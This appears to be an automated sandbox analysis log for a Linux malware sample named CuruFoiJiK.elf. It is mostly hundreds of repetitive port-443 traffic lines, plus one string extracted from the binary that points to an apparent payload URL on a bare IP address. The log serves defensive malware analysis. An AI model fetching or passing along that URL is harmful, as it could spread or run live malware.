Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close

Source: CuruFoiJiK.elf

String found in binary or memory: http://45.142.182.103/bin

Source: unknown	Network traffic detected: HTTP traffic on port 39890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39500
Source: unknown	Network traffic detected: HTTP traffic on port 35262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41812
Source: unknown	Network traffic detected: HTTP traffic on port 49426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41806
Source: unknown	Network traffic detected: HTTP traffic on port 52898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52514
Source: unknown	Network traffic detected: HTTP traffic on port 35478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53840
Source: unknown	Network traffic detected: HTTP traffic on port 41914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38214
Source: unknown	Network traffic detected: HTTP traffic on port 39468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39546
Source: unknown	Network traffic detected: HTTP traffic on port 48558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41852
Source: unknown	Network traffic detected: HTTP traffic on port 47090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52528
Source: unknown	Network traffic detected: HTTP traffic on port 57276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39532
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41848
Source: unknown	Network traffic detected: HTTP traffic on port 53910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40512
Source: unknown	Network traffic detected: HTTP traffic on port 44196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51206
Source: unknown	Network traffic detected: HTTP traffic on port 58348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53860
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39522
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52532
Source: unknown	Network traffic detected: HTTP traffic on port 40204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40504
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39518
Source: unknown	Network traffic detected: HTTP traffic on port 48534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41830
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41832
Source: unknown	Network traffic detected: HTTP traffic on port 53922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53872
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52546
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41826
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39508
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41820
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39588
Source: unknown	Network traffic detected: HTTP traffic on port 46582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40568
Source: unknown	Network traffic detected: HTTP traffic on port 33716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53814
Source: unknown	Network traffic detected: HTTP traffic on port 48162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38248
Source: unknown	Network traffic detected: HTTP traffic on port 35082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40558
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53824
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53828
Source: unknown	Network traffic detected: HTTP traffic on port 36792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39566
Source: unknown	Network traffic detected: HTTP traffic on port 49078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39568
Source: unknown	Network traffic detected: HTTP traffic on port 40842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41878
Source: unknown	Network traffic detected: HTTP traffic on port 45712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41874
Source: unknown	Network traffic detected: HTTP traffic on port 54826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53836
Source: unknown	Network traffic detected: HTTP traffic on port 54430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52504
Source: unknown	Network traffic detected: HTTP traffic on port 38118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39550
Source: unknown	Network traffic detected: HTTP traffic on port 39432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41866
Source: unknown	Network traffic detected: HTTP traffic on port 42422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41860
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38170
Source: unknown	Network traffic detected: HTTP traffic on port 40036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38172
Source: unknown	Network traffic detected: HTTP traffic on port 39288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38176
Source: unknown	Network traffic detected: HTTP traffic on port 44376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38178
Source: unknown	Network traffic detected: HTTP traffic on port 59878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51148
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 36514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51150
Source: unknown	Network traffic detected: HTTP traffic on port 35922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 33236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40474
Source: unknown	Network traffic detected: HTTP traffic on port 46798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40472
Source: unknown	Network traffic detected: HTTP traffic on port 40048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39484
Source: unknown	Network traffic detected: HTTP traffic on port 55046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51164
Source: unknown	Network traffic detected: HTTP traffic on port 35934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38156
Source: unknown	Network traffic detected: HTTP traffic on port 60638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40466
Source: unknown	Network traffic detected: HTTP traffic on port 56852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39470
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39474
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39476
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39478
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40458
Source: unknown	Network traffic detected: HTTP traffic on port 34116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41786
Source: unknown	Network traffic detected: HTTP traffic on port 33224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41788
Source: unknown	Network traffic detected: HTTP traffic on port 53562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52438
Source: unknown	Network traffic detected: HTTP traffic on port 44160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53760
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52434
Source: unknown	Network traffic detected: HTTP traffic on port 40482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 40012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53774
Source: unknown	Network traffic detected: HTTP traffic on port 33536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 47666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51114
Source: unknown	Network traffic detected: HTTP traffic on port 56588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52450
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51124
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51130
Source: unknown	Network traffic detected: HTTP traffic on port 49042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38186
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52466
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51136
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40494
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40498
Source: unknown	Network traffic detected: HTTP traffic on port 34404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51196
Source: unknown	Network traffic detected: HTTP traffic on port 44472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33694 -> 443
